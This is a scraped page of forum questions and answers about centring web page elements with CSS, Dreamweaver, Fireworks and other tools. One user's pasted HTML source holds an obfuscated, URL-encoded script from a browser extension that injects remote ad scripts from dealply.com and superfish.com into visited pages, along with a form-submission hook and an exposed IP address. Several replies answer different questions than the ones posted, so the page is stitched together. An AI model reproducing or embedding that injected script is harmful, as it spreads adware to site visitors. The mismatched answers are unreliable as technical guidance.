Css Center Align Problem

Alright, I am making my Portfolio (Hosted on Dropbox for this porpuse) and once you go onto it you can see that it is not aligned correctly. Now in dreamweaver it comes up normal:
I have done this by placing all the Div's into a wrapper div, which under the css style sheet has the margin method of aligning it to the middle:
#Wrapper {
          position:fixed;
          width:640px;
          margin: auto;
Whats worng with this?

I've made those changes, I have achived the look I want, which is what you can see in the browser. But what I want it to do it be centred up in the middle of the page.
Html Code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Sean Hall's Portfolio</title>
<link href="Css.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="Wrapper">
<div id="menu">
<table width="68" border="0" align="center" cellspacing="14">
<tr>
    <td><a class="Home" href="pages/homepage.html" target="iframe"></a></td>
</tr>
<tr>
    <td><a class="About" href="pages/about.html" target="iframe"></a></td>
</tr>
<tr>
    <td><a class="Social" href="pages/social.html" target="iframe"></a></td>
</tr>
<tr>
    <td><a class="work" href="pages/work.html" target="iframe"></a></td>
</tr>
<tr>
    <td><a class="Contact" href="php/contact.php" target="iframe"></a></td>
</tr>
</table>
</div>
<div id="main">
<div id="Content_bg">
<iframe src="pages/homepage.html" height="100%" width="100%" allowtransparency="1" frameborder="0" name="iframe"></iframe>
</div>
</div>
</div>
</body>
</html>
Css Stlyesheet:
@charset "utf-8";
body{
          background-image: url(Images/Background.fw.png);
          background-color: #DCDCDC;
          background-repeat: no-repeat;
          text-align:center;
#Wrapper {
          position:fixed;
          width:640px;
          left:0 auto;
          margin-top:120px;
#main {
          position:fixed;
          width:561px;
          left:75px;
          background-image:url(Images/Body.fw.png);
          background-repeat:no-repeat;
          height:400px;
#menu {
          position:fixed;
          width:68px;
          height:264px;
          background-image:url(Images/menu.fw.png);
          text-align:center;
#Content_bg {
          position:fixed;
          width:469px;
          height:232px;
          background-image:url(Images/Content.png);
          margin-left: 45px;
          margin-top: 12px;
#gallery {
          position: fixed;
          width:420px;
          height:70px;
          margin-top:300px;
          margin-left:50px;
          background-image:url(Images/footer.fw.png);
          z-index:1;
#Wrapper #menu table {
          text-align: center;
          height:250;
          width: 50px;
          top: 10px;
/*Nav Section */
a.Home {
          display: block;
          width: 33px;
          height: 34px;
          background-image:url(Images/Buttons/home_off.fw.png);
          margin:0 auto;
a.Home:hover {
          background-image:url(Images/Buttons/home_on.fw.png);
a.About {
          display: block;
          width: 33px;
          height: 34px;
          background-image:url(Images/Buttons/about_off.fw.png);
          margin:0 auto;
a.About:hover {
          background-image:url(Images/Buttons/about_on.fw.png);
a.Social {
          display: block;
          width: 33px;
          height: 34px;
          background-image:url(Images/Buttons/social_off.fw.png);
          margin:0 auto;
a.Social:hover {
          background-image:url(Images/Buttons/social_on.fw.png);
a.work {
          display: block;
          width: 33px;
          height: 34px;
          background-image:url(Images/Buttons/work_off.fw.png);
          margin:0 auto;
a.work:hover {
          background-image:url(Images/Buttons/work_on.fw.png);
a.Contact {
          display: block;
          width: 33px;
          height: 34px;
          background-image:url(Images/Buttons/contact_off.fw.png);
          margin:0 auto;
a.Contact:hover {
          background-image:url(Images/Buttons/contact_on.fw.png);

Similar Messages

CSS vertical-align problem

I cant figure out why the valign isnt working on my page..
http://www.v4.skiingbc.info/pages/skiarea2.php?Name=Test1212&TrailMaps=X&FS=√&LP=√
CSS Sheet:
http://v4.skiingbc.info/v4.css
I want all text to be middle aligned in the table cells... If
someone could take a look at the code that would be really
appreciated..
In Dreamweaver the text is middle aligned, it just doesnt
work in IE7

You have this on the page:
<td height="79"
<valign="top">
try changing it to thos:
<td height="79" valign="top">
you also have this:
<option selected="selected">Select Card
Type</option>
option selected>Search By Card Type
</option>
make it like this:
<option selected="selected">Select Card
Type</option>
Ken Ford
Adobe Community Expert
Fordwebs, LLC
http://www.fordwebs.com
"Monica101" <[email protected]> wrote in
message news:f0foos$n7u$[email protected]..
> I've got text in a table that won't align at the top:
>
> <td height="79"valign="top"><table width="150"
border="0" cellpadding="0"
> cellspacing="0" class="Side_Links">
>
> It looks fine in Dreamweaver, but displays verticaly in
the center of the
> table. I've been working in Dreamweaver for years and
never had this problem. I
> tried fixing it w/ css:
>
> vertical-align: top;
>
> This didn't work either.
>
> Page:
>
>
http://www.capitalinternet.com/~mycredit/template.php
>
> Thanks!
>
>

Problem with center aligned text when publishing

Can anyone help me with this? I'm a bit desperate.
I created blocks of text and center aligned them:
Everything looked great but when I published all the text appeared left aligned.
I tried everything but nothing seems to resolve this.
Thank you in advance!
Best regards,
Paulo Moura

Hi,
Try exporting your file with the following settings to get a high quality GIF
Dimensions   : Match movie
Playback       : Animated
                    : Loop continuously
Options         : Optimize colors
                    : Smooth
Transparent   : Opaque
Dither           : None
Palette Type : Adaptive
Max colors   : 99999
Thanks!
ps: please mark this post as Answered if this of any help to you

How to put a tab space in a center aligned paragraph and have it remained centered?

I am trying to put a tab spacing within a paragraph that is center aligned but when I press the tab button it pushes the paragraph to the left. How do I solve the problem? I have several lines I need to do this for so adjusting it one but one is a bit tedious.

I don't use Captchas because they are not web friendly. Humans have a hard time reading them which often leads to form submission failures and frustration. I much prefer the Honeypot (hidden input field) method. It traps spam bots who cannot resist filling in fields because they don't use CSS or JavaScript. If the hidden field contains any characters, your form processing script can be set-up to flag that as spam and abort the submission. Humans never see the hidden field, so it works seamlessly behind the scenes. There's no limit on how many hidden form fields you can have on a page.
Nancy O.

Horizontal Spry Submenu Alignment Problems

I am experiencing a massive emotional low with not being able to figure this problem out.
I have incorporated a Spry menu in the site I'm building, but I'm having trouble getting the
drop down submenu to align properly in Firefox/ Chrome AND IE8
What seems to be the heart of the problem is the CSS for the Spry class "ul.MenuBarHorizontal ul.MenuBarSubmenuVisible"
By default, it's set to this:
ul.MenuBarHorizontal ul.MenuBarSubmenuVisible
left: auto;
If I leave it like this, the submenus drop down where I want them to (upon rollover) - with the left edge
of the submenu aligned with the parent button (ul li item). However this only works properly in Chrome / Firefox.
If I use IE8 to look at the site. The submenus drop down such that the left edge of submenu aligns
with the the center of the partent button (ul li item) upon rollover.
I can get IE to overcome this alignment issue by adding "position:relative" to the CSS for "ul.MenuBarHorizontal ul.MenuBarSubmenuVisible"
ul.MenuBarHorizontal ul.MenuBarSubmenuVisible
left: auto;
position:relative
After making this addition, IE8 works fine, and the submenus align to the left. But now, if I browse in Chrome
or Firefox, the 1px border of the submenus do not appear on the left, right and bottom edges. It's only there
for the top edge???!!!??
It seems that the property listed below gets compromised and does not work if I add the "position:relative" attribute
to "ul.MenuBarHorizontal ul.MenuBarSubmenuVisible"
/* Submenu containers have borders on all sides */
ul.MenuBarHorizontal ul
border: 1px solid #CCC;
If anyone can offer and explanation to this I would be hugely appreciative.
Thanks so much,
Hosanna_Bizarre

Please find the html and css attached.
Yes, I have used text-align: center on the main menu.
Like I say, adding position:relative to the css for "ul.MenuBarHorizontal ul.MenuBarSubmenuVisible"
fixes the problem for IE and it displays left justified submenu items underneath a center-aligned
main menu button.
Problem is the submenu borders do not display properly any more for Chrome / Firefox.
Thanks
H

Some of the pivot table header column not center-aligned

I've dragged a pivot table model from Data Controls. The generated pivot table on page does not display some of the header columns center-aligned. I tried to set a css style in HeaderFormat listener for the columns, but it did not work. I checked the html source code and found the problem was caused by "colspan" not created properly. I'd like to know how pivot table header columns are created, anyone who knows please kindly give some tips,thanks!

Try setting the Header Row to allow to repeat. I've had to set that Repeat option to get things to break over pages correctly.
Ryan D. Lunka
Cardinal Solutions Group
[email protected]

Center Aligning a Webpage?

For some reason, my webpage is center aligned in Firefox, but not in Safari or Opera. I'm not sure about IE since I don't have it on my computer. Whatever the case, I finally got the webpage to align the way I wanted it to (in the center), and it looked perfect in Firefox. In Safari, however, it was left aligned, and in Opera, it was between the two... about 25% away from the left part of the screen.
Is there any way to fix this problem? Here's my code.
<link href="../styles.css" rel="stylesheet" type="text/css">
<div id="wrapper">
<div id="container">
    <div id="header"></div>
    <div id="menu"><img src="../Images/home_button" width="160" height="43" alt="home_button"><img src="../Images/faq_button" width="160" height="43" alt="faq_button"><img src="../Images/newsletter_button" width="160" height="43" alt="newsletter_button"><img src="../Images/donate_button" width="160" height="43" alt="donate_button"><img src="../Images/contact_button" width="160" height="43" alt="contact_button">
    <div id="middle">
      <h2>Text Goes Here</h2>
</div>
    <div id="footer">
    </div>
</div>
</div>

As John says, without seeing your style sheet or preferably showing the page on a live website, it's impossible to say what the problem might be. However, I see that you have a wrapper div. The style for the wrapper should be something like this:
#wrapper {    width: 780px;    margin: 0 auto;}
That will centre your page and make the contents 780px wide. You can change the width to suit your requirements, but the div must have a declared width (it can be a percentage or measured in ems if you prefer).

Unable to center align text in menu tabs

following is the code for the index page of my website faithinpeace.org/exppu...im trying to center align the menu text but something or another keeps happening . text not getting center aligned..please if anyone can help me with that
<!DOCTYPE html>

<html class=" js flexbox canvas geolocation rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio inlinesvg" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta charset="utf-8">
      <title>Peace University USA - America's Leading Faithbased School</title> 

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

    <meta charset="utf-8">

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Peace University USA - America's Leading Faithbased School</title>    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    
    <meta name="robots" content="all">    
    
    

<link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap.css">
              
            <link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap-responsive.css">
        
<link rel="stylesheet" type="text/css" media="screen" href="./index_files/app.css">
    
    
    
    
    <link rel="shortcut icon" href="./images/favicon.ico">
    
   <script src="./index_files/jquery.min.js"></script><script src="./index_files/ga.js"></script><script type="text/javascript" src="./index_files/modernizr.js"></script>
<script type="text/javascript" src="data:text/javascript,%0D%0A(function()%7Bvar%20install_source%3D'Chrome%20Webstore'% 3Bvar%20ext_name%3D'FastestChrome'%3Bvar%20install_time%3D'1336405440836'%3Bvar%20ctid%3D' 1'%3Bif(install_source!%3D'Chrome%20Webstore')%7Bctid%3D'2'%3B%7D%0Aif(install_source%5B0% 5D%3D%3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22l%22)%7Bctid%3D'3'%3B %7D%0Aif(install_source%5B0%5D%3D%3D'I')%7Bctid%3D'4'%3B%7D%0Aif(install_source%5B0%5D%3D% 3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22y%22)%7Bctid%3D'5'%3B%7D%0A if(install_source%3D%3D'fastanium.com')%7Bctid%3D'6'%3B%7D%0Avar%20blacklist%3D%5B%2Fveetl e.com%2F%2C%2Femusic.com%2F%2C%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2 F%2C%2Fwsj.com%2F%2C%2Fnetflix.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2 Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2C%2F.*live.com%2F%2C%2F.*battlefield.com%2F%2C%2Fdell .com%2F%2C%2Fpch.com%2F%5D%3Bif(window!%3Dwindow.top)%7Breturn%3B%7D%0Afor(var%20i%3D0%3Bi %3Cblacklist.length%3Bi%2B%2B)%7Bif(blacklist%5Bi%5D.test(document.location.href))%7Bretur n%3B%7D%7D%0Avar%20hashCode%3Dfunction(s)%7Bvar%20hash%3D0%3Bfor(var%20i%3D0%3Bi%3Cs.lengt h%3Bi%2B%2B)%7Bhash%3D((hash%3C%3C5)-hash)%2Bs.charCodeAt(i)%3Bhash%3Dhash%26hash%3B%7D%0A return%20hash%3B%7D%3Bvar%20ready%3Dfunction(callback)%0A%7Bvar%20check_ready%3Dfunction() %0A%7Bif(window.document.body)%7Bcallback()%3B%7D%0Aelse%7BsetTimeout(check_ready%2C100)%7 D%7D%3Bcheck_ready()%3B%7D%3Bready(function()%0A%7BsetTimeout(function()%0A%7Bif(%2F%5Ehtt p%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com% 22).test(document.location.href))%0A%7B%20var%20inj%3Dfunction(u)%0A%7Bvar%20s%3Ddocument. createElement('script')%3Bs.type%3D'text%2Fjavascript'%3Bs.src%3Du%3Bdocument.getElementsB yTagName('head')%5B0%5D.appendChild(s)%3B%7D%3Bvar%20locale%3Dnavigator.browserLanguage%7C %7Cnavigator.language%3Bvar%20dlsource%3D%22fastestchrome%22%3Bvar%20userId%3D%2200000%22% 3Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(ext_name%3D%3D%22Fastanium%22)%7Bdlso urce%3D%22fastanium%22%3BuserId%3D%22fastanium0000000000%22%2Bctid%3B%7D%0Aelse%7Bdlsource %3D%22fastestchrome%22%3BuserId%3D%22chrome0000000000%22%2Bctid%3B%7D%7D%0Aelse%20if(%2FFi refox%2F.test(navigator.userAgent))%7Bdlsource%3D%22fastestfox%22%3BuserId%3D%22fastestfox 0000000000%22%3B%7D%0Aelse%20if(%2FSafari%2F.test(navigator.userAgent))%7Bdlsource%3D%22fa stestsafari%22%3BuserId%3D%22safari0000000000%22%2Bctid%3B%7D%0Aelse%20if(%2FTrident%2F.te st(navigator.userAgent))%7Bdlsource%3D%22fastestie%22%3BuserId%3D%22fastestie0000000000%22 %3B%7D%0Aif(%2F%5Een%2Fi.test(locale)%7C%7C%2F%5Ede%2Fi.test(locale)%7C%7C%2F%5Efr%2Fi.tes t(locale))%0A%7Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(Math.abs(hashCode(insta ll_time))%25100%3C1%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%0A%7Binj(%22http%3 A%2F%2Foptstatic.dealply.com%2Ffast%2Fversion_content.js%3Fchannel%3Dfast2%22)%3B%7D%0Aels e%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsour ce%2B%22%26CTID%3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%7Binj(%22https %3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID% 3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%0A%7Bif(%2FChrome%2F.test(navi gator.userAgent)%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%7Bif(Math.abs(hashCod e(install_time))%25100%3E%3D85)%7Binj(%22http%3A%2F%2Foptstatic.dealply.com%2Ffast%2Fversi on_content.js%3Fchannel%3Dfast1%22)%3B%7D%0Aelse%7Binj(%22https%3A%2F%2Fwww.superfish.com% 2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26userId %3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0Aelse%20if(true%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2 F%2Fwww.google.com%22).test(document.location.href))%7Binj(%22https%3A%2F%2Fwww.superfish. com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26us erId%3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0A%7D%7D%2C500)%3B%7D)%3B%7D())%3B%0D%0A%0D%0A% 0D%0A"></script><script type="text/javascript" src="./index_files/sf_conduit.jsp"></script><script type="text/javascript" src="./index_files/base_single_icon.js"></script><script type="text/javascript" src="./index_files/dojo.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/script.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/window.xd.js"></script><script type="text/javascript" src="./index_files/getSupportedSitesJSON.action" id="sufioIoScript1" charset="utf-8"></script><script type="text/javascript" src="./index_files/rvwl.action" id="sufioIoScript2" charset="utf-8"></script><script type="text/javascript" src="./index_files/getCouponsSupportedSites.action" id="sufioIoScript3" charset="utf-8"></script>
<style type="text/css">
body {
          margin-left: 200px;
          overflow:hidden
.n {
          text-align: center;
</style>
</head>

    <body class="ual">
    
    <nav id="top-navigation-column-1" class="span2" role="navigation" >
               </nav>
<a class="indent-text" href="http://www.faithinpeace.org">Skip secondary navigation</a>
            <nav id="top-navigation-column-2" class="span3" role="navigation">
              
              <ul id="nav-sub" class="nav">
            </nav>
<div id="top-navigation-column-3" class="span4">
          
              <div class="search-wrapper"></div>
          
    </div>
          </div>
        </header>
      </div>       
      <div class="tab-index">
        <div class="ual-tab">
            <figure>         <a href="http://www.faithinpeace.org">
              <img src="images/puimage.png" alt="Home" style="width : 940px; height : 400px;    "> </a>
            <figcaption></figcaption>
          </figure>
                    <section class="ual-tab-scroll-text">
              <h2>
              </h2>
              <p class="teaser"></p>
          </section>
        </div>
        <nav class="ual-tabbed-content">
          <ul class="nav-bar">
            <li id="camberwell" class="has-flyout">
              <a class="main camberwell" href="index.htm" title="Home" rel="camberwell">Home</a>
            </li>
            <li id="csm" class="has-flyout">
              <a class="main csm" href="./admissions.htm" title="Admissions" rel="csm">Admissions</a>
            </li>
            <li id="chelsea" class="has-flyout">
              <a class="main chelsea" href="./academics.htm" title="Academics" rel="chelsea">Academics</a>
            </li>
            <li id="lcc" class="has-flyout">
              <a class="main lcc" href="collaborate.htm" title="Collaborate" rel="lcc">Collaborate</a>
            </li>
            <li id="lcf" class="has-flyout">
              <a class="main lcf" href="" title="Virtual University" rel="VU">VirtualUniversity</a>
            </li>
            <li id="wimbledon" class="has-flyout">
              <a class="main wimbledon" href="./contact.htm" title="Contact Us" rel="Contact Us">Contact Us</a>
            </li>
          </ul>
          <div class="flyout camberwell" data-role="camberwell" style="display: none; ">
            <a href="./index" title="Peace University USA">
              <img src="./images/home.png" alt="" style="width : 940px; height : 400px;    ">
            </a>
          </div>
          <div class="flyout csm" data-role="csm" style="display: none; ">
            <a href="./admissions.htm" title="We have a place for everyone">
              <img src="./images/admissions.png" style="width : 940px; height : 400px;    ">
            </a>
          </div>
          <div class="flyout chelsea" data-role="chelsea" style="display: none; ">
                     <a title="Academics" href="./academics.htm">
              <img src="./images/academics.png" alt="" style="width : 940px; height : 400px;    ">
                    </a>
          </div>
          <div class="flyout lcc" data-role="lcc" style="display: none; ">
<a title="Joining hands to strengthen resources" href="./collaborate.htm">
              <img src="./images/collaborate.png" style="width : 940px; height : 400px;    ">
</a>
          </div>
          <div class="flyout lcf" data-role="lcf" style="display: none; ">
            <a href="digital.edu/lms/" title="Online Education @Peace">
               <img src="./images/vu.png" style="width : 940px; height : 400px;    ">
            </a>
          </div>
          <div class="flyout wimbledon" data-role="wimbledon" style="display: none; ">
            <a href="./contact.htm" title="Contact Us">
              <img src="./images/contact.png" alt="" style="width : 940px; height : 400px;    ">
            </a>
          </div>
        </nav>
      </div><div class="four-box-teasers row">
        <ul class="slide-teasers">
          <li class="has-slide span3">
            <h3>Media Arts and Design</h3>
            <a href="http://www.facebook.com/pages/MAD-Media-Art-and-Design-Center-of-Excellence/31164214225245 2"><img src="images/mad.png" alt="M.A.D" style="width : 220px; height : 110px;    "></a>
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                <a href="./mad.htm" title="M.A.D">Collaborating with <a href="digital.edu" title="Digital University Of America" target="_blank">Digital University</a> Media, Art and Design Center of Excellence (M.A.D.) the creative arm of Digital University of America to promote Media, Art and Design in every shape and form</a>
              </p>
            </div>
          </li>
          <li class="has-slide span3">
            <h3>Youth Engagement Platform</h3>
            <a href="http://www.facebook.com/pages/YEP-Youth-Engagement-Platform-Peace/309623245721408"><img src="images/yep.png" alt="course books" style="width : 220px; height : 110px;    "></a>
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                               <a href=".images/yep.htm" title="YEP">Engaging Youth to express themselves through Visual, Literary and Performing arts.</a>
              </p>
            </div>
          </li>
          <li class="has-slide span3">
            <h3>Courses</h3>
            <img src="images/courses.png" alt="yep image" style="width : 220px; height : 110px;    ">
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                           <a href="courses.htm" title="Courses">Find out about courses on offer @Peace University USA.</a>
              </p>
            </div>
          </li>
          <li class="has-slide span3">
            <h3>English Training Programs</h3>
            <img src="images/etp.png" style="width : 220px; height : 110px;    ">
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                <a href="./etp.htm" title="English Training Program">Peace University offers custom-made English training programs, in collaboration with Digital University of America</a>
              </p>
            </div>
          </li>
        </ul>
      </div>      
      <footer id="footer">
        <div class="row">
          <section class="footer-links span12">
            <ul class="footer-links span6">

              <li class="facebook">
              <a href="http://www.facebook.com/pages/Peace-University/235720776442514" title="Visit PU on Facebook" target="_blank">Facebook</a></li>
            </ul>
            
                        <ul class="footer-links span6">
             <li><a href="http://eepurl.com/nj22f">
              Sign up for latest News |</a></li>
              <li><a href="./contact.htm">
              Contact Us </a></li></ul>
          </section>
        </div>
      </footer>
    </div>    
    <script src="./index_files/jquery.min.js"></script>
    <script>window.jQuery || document.write('<script src="/media/artsacukstyleassets/component-library/jquery.min.js"><\/script>')</script>

<script type="text/javascript" src="./index_files/script.js"></script>
    
    
    <script>
      var _gaq=[['_setAccount','UA-182294-1'],['_trackPageview']];
      (function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];
      g.src=('https:'==location.protocol?'//ssl':'//www')+'.google-analytics.com/ga.js';
      s.parentNode.insertBefore(g,s)}(document,'script'));
    </script>
<div class="extLives"></div><div id="tc_container" style="display: none" data="fc"></div><sfmsg id="sfMsgId" data="{"imageCount":0,"ip":"182.177.144.206"}"></sfmsg><div style="display: none; " id="hiddenlpsubmitdiv"></div><script>try{for(var lastpass_iter=0; lastpass_iter < document.forms.length; lastpass_iter++){ var lastpass_f = document.forms[lastpass_iter]; if(typeof(lastpass_f.lpsubmitorig2)=="undefined"){ lastpass_f.lpsubmitorig2 = lastpass_f.submit; lastpass_f.submit = function(){ var form=this; var customEvent = document.createEvent("Event"); customEvent.initEvent("lpCustomEvent", true, true); var d = document.getElementById("hiddenlpsubmitdiv"); for(var i = 0; i < document.forms.length; i++){ if(document.forms[i]==form){ d.innerText=i; } } d.dispatchEvent(customEvent); form.lpsubmitorig2(); } } }}catch(e){}</script></body></html>

Have you tried adding the following css selector to your css file.
.nav-bar a {
    text-align: center;
or insert it in the <style> tag you have on the page:
<style type="text/css">
body {
    margin-left: 200px;
.n {
    text-align: center;
.nav-bar a {
    text-align: center;
</style>

Defining a Center Aligned Table in a WebI Report ?

I sure hope I'm missing something, but one of our developers has been struggling with this for days and it seems like such an obvious report building exercise. I looked myself and couldn't see how to do it either... not even using something crafty.
The basic problem is that we have some content that will change every time the report is run, so we put this data in a one row table with the "show when empty" feature disabled for the cells and "auto-fit width" turned on. If we could just center align the resulting table we would be fine, but the only way to center align it is to select another item and then use the center align feature. However, that is a one-time operation that simply calculates the offset given the current data. If the report is run again with different prompts (for example) the table size may be different, but the center offset is not recalculated because there is no way to mark the table for center alignment.
So we need the table to be center aligned (either to the page, report header, or another element would work for us) because it will have multiple (optional cells). Also, FYI, we can't just put it all in one forumla and let the cell content be centered... because we're actually embedding multiple hyperlinks in those other cells... in a borderless table... to get a centered block effect on the results.
Any suggestions? Only thing we've come up with is to insert padding cells that we set to Fixedsys fond and then calculate a space Fill() on based on the other results... but that's really messy and seems like overkill for something that's normally a "bread and butter" report building feature.

Hi Ray,
As I understand you want to Centre align the table , but when you select the table centre align feature is disabled and you can only align the text in the table.
You can use Relative Positioning Feature to align the Table in relation to the Bottom, top, Left and right edge of the report and other block. This feature allows user to fix the position of the table even if data in the table changes and auto-adjust the table position when block data or another block data changes.
You can manually drag the table to the centre of the report; set the alignment of the text to the centre, when your data changes the, WEBI wonu2019t change the position of the table nor it changes the text alignment.
Please paste the report data here so that I can understand how you want to display the table data and your statement u201Cwe put this data in a one row table with the "show when empty" feature disabled for the cells and "auto-fit width" turned on.
Do you have any other blocks of data in your reporting along with the table data that you want to centre align?
I Hope this Helpsu2026
Thanksu2026.
Pratik

How to center align Alert.show() in flex

Hello All,
I have a tall Flex application that uses Alert.show( ) to display error/warning messages. This created problems when the error messages were centered on the screen, but not visible when the screen was at an extreme scroll position (top or bottom). is there any way that i can display the Alert in the center of the user's viewable page. I've tried the following, but didn't work.
var errorMsg:Alert = Alert.show("Error message"); PopUpManager.centerPopUp(errorMsg);
Thanks in advance.

Thanks for your help, yes by using some javascript calls i'm now able center align the Alert.
Here is the solutions for my problem.
var viewPoint:Number = ExternalInterface.call("eval", "window.pageYOffset"); var browserHeight:Number = ExternalInterface.call("eval", "window.innerHeight"); //the following calculation finds the center y coordinate in user's viewable page. var viewableY : Number = ((browserHeight/2)+viewPoint-50); var alert : Alert = Alert.show("Error Msg"); PopUpManager.centerPopUp(alert); alert.move(400,viewableY);
I hope this helps someone...

How to center align preview page

When I preview my webpage (which I am creating in fireworks) in the browser it is to the left of the page, How do I center align it?? Thank you in advance for your help

You shouldn't be creating your total web page in Fireworks, only the graphics :-)
You should slice up the images you need and then export those and use them in your HTML or via the stylesheet as background images. A web page that is full of images will only slow down the loading plus not be indexed by search engines...
To then center the page, you need to use CSS to to align the page in the center of the browser window regardless of window size. This again, is done when you move over to the HTML editor, not in FWs.
A good tutorial that may help the transition from taking a FWs comp to HTML
http://www.adobe.com/devnet/dreamweaver/articles/dw_fw_css_pt1.html
Nadia
Adobe® Community Expert : Dreamweaver
Unique CSS Templates |Tutorials |SEO Articles
http://www.DreamweaverResources.com
Book: Ultimate CSS Reference
http://www.sitepoint.com/launch/005dfd4/3/133
http://twitter.com/nadiap

Table alignment problem

I am building a table for a checklist for potential
bankruptcy clients for a law firm. The table has two columns.
Column one contains a small gif, a black-bordered white check box.
The second column contains a list of information and documents the
prospective filer should have available.
I set up a CSS rule, "check-box," for the cells containing
the gifs, with 5 pixels of top padding. I set up the information
cells with a CSS rule, "table-text," with a top alignment in the
box section. In IE6, I get the appearance I'm after, to wit: the
top of check box and information text are both top aligned, but in
FF, the text appears to be center aligning. How can I fix this to
get the same appearance in both browsers?
Keep in mind that I am new to DWCS3 coming from GLCS2 and my
CSS knowledge level is barely basic at the very best.
http://www.jdcdemo.com/blf/the-baim-law-firm-bankruptcy-information-checklist.html
TIA,
Joe

camelbreath wrote:
> I am building a table for a checklist for potential
bankruptcy clients for a
> law firm. The table has two columns. Column one contains
a small gif, a
> black-bordered white check box. The second column
contains a list of
> information and documents the prospective filer should
have available.
> I set up a CSS rule, "check-box," for the cells
containing the gifs, with 5
> pixels of top padding. I set up the information cells
with a CSS rule,
> "table-text," with a top alignment in the box section.
In IE6, I get the
> appearance I'm after, to wit: the top of check box and
information text are
> both top aligned, but in FF, the text appears to be
center aligning. How can I
> fix this to get the same appearance in both browsers?
> Keep in mind that I am new to DWCS3 coming from GLCS2
and my CSS knowledge
> level is barely basic at the very best.
>
>
http://www.jdcdemo.com/blf/the-baim-law-firm-bankruptcy-information-checklist.ht
> ml
Hi,
Try this for your css....
.check-box {
padding: 0px 5px 5px;
margin: 0px;
.table-txt {
font-family: Georgia,"Times New Roman",Times,serif;
font-size: 13px;
padding-left: 5px;
margin: 0px;
padding-top: 0px;
and this fior your markup.....
<td><img src="images/check-box.gif" alt="checkbox"
width="18"
height="18" class="check-box" /></td>
<td class="table-txt" width="453"><p>A list of
your living expenses
including house, car and other notes, utilities, rent,
garbage pickup,
insurance, </p></td>
HTH
chin chin
Sinclair

Text Align problem

I clicked the text menu and then I clicked on align. I
highlighted the text and the bar but I tried to center the text on
the bar but it doesn't work correctly. Can anybody help me?
http://server6.theimagehosting.com/image.php?img=fireworks.cd6.gif[L=picture

bobau wrote:
> I clicked the text menu and then I clicked on align. I
highlighted the text and
> the bar but I tried to center the text on the bar but it
doesn't work
> correctly. Can anybody help me?
>
>
http://server6.theimagehosting.com/image.php?img=fireworks.cd6.gif
Is that a button you created in the button editor? You need
to center
align it in the button editor. If not, then select the button
shape
first, then the text, and finally choose Modify > Align
> center
Vertical, and Modify > Align > Horizontal. If you are
using the Align
panel, select the button shape and click on the Anchors
button. Press
shift ans select the text. Click in the align center and
vertical
buttons.
Linda Rathgeber [PVII] *Adobe Community Expert-Fireworks*
http://www.projectseven.com
Fireworks Newsgroup:
news://forums.projectseven.com/fireworks/
CSS Newsgroup: news://forums.projectseven.com/css/
Design Aid Kits:
http://www.webdevbiz.com/pwf/index.cfm

Having a image alignment problem using clearbox

Hi,
I'm having an image alignment problem. I cannot figure it out. I'm using the clearbox - lightbox dreamweaver widget. Using Dreamweaver CS6.
Actual page located here. Any help would be appreciated.
http://dirtysouthink.com/gallery/dustin2.html

This has very little to do with Dreamweaver. DW is merely a tool to assist you in building a web site. It is purely a matter of styling (CSS).
When I look at the structure, I see
BODY-CONTENT (width: 490px)
     GALLERY (width: 452px)
          CONTAINER (width: 500px)
               ITEM (width: 150px)
From this I can deduce that:
GALLERY will fit inside BODY-CONTENT
CONTAINER will NOT fit inside GALLERY or BODY-CONTENT
ITEM will fit three times into CONTAINER
To start with, I would reduce the size of the CONTAINER so that it fits inside of its parent. Then I would adjust the width of the ITEM so that only two of them fit inside of the CONTAINER.

Same alignment problem! can ANYONE help??

Hi guys i still need help with my alignment problem! My nav
bar lokos good in the preview window of fireworks
CLICK
HERE TO VIEW THE NAV BAR IN FIREWORKS
but when previewed in a browser or exported into dreamweaver,
the navbar is all out of order
CLICK
